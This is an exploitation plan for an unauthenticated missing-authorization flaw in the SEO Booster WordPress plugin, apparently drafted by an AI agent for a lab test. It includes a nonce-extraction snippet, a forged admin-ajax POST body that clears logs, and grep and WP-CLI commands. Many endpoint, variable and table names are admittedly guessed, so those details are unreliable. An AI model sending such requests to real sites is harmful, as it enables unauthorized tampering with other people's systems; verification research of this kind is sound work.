Exploitation Research Plan: CVE-2025-68019 (SEO Booster <= 6.1.8)

1. Vulnerability Summary

The SEO Booster plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 6.1.8. The vulnerability exists because certain AJAX handlers are registered using wp_ajax_nopriv_ (allowing unauthenticated access) or lack a current_user_can() capability check within the handler function. This allows an unauthenticated attacker to perform actions that should be restricted to administrators, such as clearing SEO logs, dismissing security notifications, or potentially modifying plugin configurations.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: seo_booster_process_ajax (Inferred based on SEO Booster's common AJAX dispatcher pattern).
• HTTP Method: POST
• Authentication: None required (Unauthenticated).
• Preconditions: The plugin must be active. A valid nonce may be required if the function calls check_ajax_referer(), though it lacks a subsequent capability check.

3. Code Flow (Inferred)

1. Entry Point: An unauthenticated user sends a POST request to wp-admin/admin-ajax.php with the action parameter set to seo_booster_process_ajax.
2. Hook Registration: The plugin likely registers the action in a file like includes/class-seo-booster-ajax.php or includes/admin/class-seo-booster-admin.php:

   add_action( 'wp_ajax_seo_booster_process_ajax', 'seo_booster_process_ajax' );
   add_action( 'wp_ajax_nopriv_seo_booster_process_ajax', 'seo_booster_process_ajax' );
   

3. Dispatcher Logic: The function seo_booster_process_ajax() is called.
4. Missing Check: The function may check a nonce using check_ajax_referer( 'seo-booster-nonce', 'security' ), but it fails to call current_user_can( 'manage_options' ).
5. Sub-Action Execution: Based on a sub_action parameter (e.g., clear_logs), the code executes privileged logic.

4. Nonce Acquisition Strategy

The plugin typically localizes a nonce for its AJAX operations. We will use the browser to find where this nonce is exposed.

1. Identify Exposure: The nonce is likely enqueued via wp_localize_script under a global object named seo_booster_vars or sb_ajax_obj.
2. Strategy:
   • Use browser_navigate to visit the homepage.
   • Use browser_eval to search for the nonce in the global JS context.
   • Target Variable: window.seo_booster_vars?.security or window.sb_ajax_obj?.nonce.
3. Shortcode Method: If the script only loads on specific pages, we will create a post with the common SEO Booster keyword block (if available) or check the source for localized scripts.

5. Exploitation Strategy

We will attempt to perform a "Clear Logs" action, which is a common sub-action in this plugin that demonstrates unauthorized state change (Integrity: Low).

Step 1: Discover the Nonce

// Execute via browser_eval
(function() {
    return window.seo_booster_vars || window.sb_vars || "Not Found";
})();

Step 2: Send Exploitation Request

HTTP Request:

• URL: http://<target>/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=seo_booster_process_ajax&sub_action=clear_all_logs&security=[NONCE_EXTRACTED]
  

Note: If sub_action=clear_all_logs fails, try sub_action=dismiss_notice&notice_id=all.

6. Test Data Setup

1. Install Plugin: Ensure SEO Booster <= 6.1.8 is installed.
2. Generate Logs: Visit several non-existent pages (404s) to populate the SEO Booster 404 log/database.

   # Use http_request to generate 404 entries
   http_request "http://localhost:8080/non-existent-page-1"
   http_request "http://localhost:8080/non-existent-page-2"
   

3. Verify Logs Exist:

   wp db query "SELECT COUNT(*) FROM wp_seo_booster_log;" # (Table name inferred)
   

7. Expected Results

• Response: The server should return a JSON success message, e.g., {"success":true} or 1.
• Status Code: 200 OK.
• Impact: The database table responsible for logs should be truncated or specific settings/notices should be altered.

8. Verification Steps

After sending the POST request, verify the logs were cleared using WP-CLI:

# Check if the log table is now empty
wp db query "SELECT COUNT(*) FROM wp_seo_booster_log;"

If the vulnerability was dismiss_notice, verify via:

wp option get seo_booster_dismissed_notices

9. Alternative Approaches

If the seo_booster_process_ajax action is not the correct name, use the following grep commands within the environment to find the actual AJAX entry points:

# Find all nopriv AJAX actions
grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/seo-booster/

# Search for functions that handle 'sub_action' or 'action'
grep -r "POST\['sub_action'\]" /var/www/html/wp-content/plugins/seo-booster/

If a nonce is strictly required and not found on the homepage, create a page with a shortcode:

wp post create --post_type=page --post_status=publish --post_content='[seo_booster_keywords]' --post_title='SEO Test'

Then repeat the Nonce Acquisition Strategy on the new page.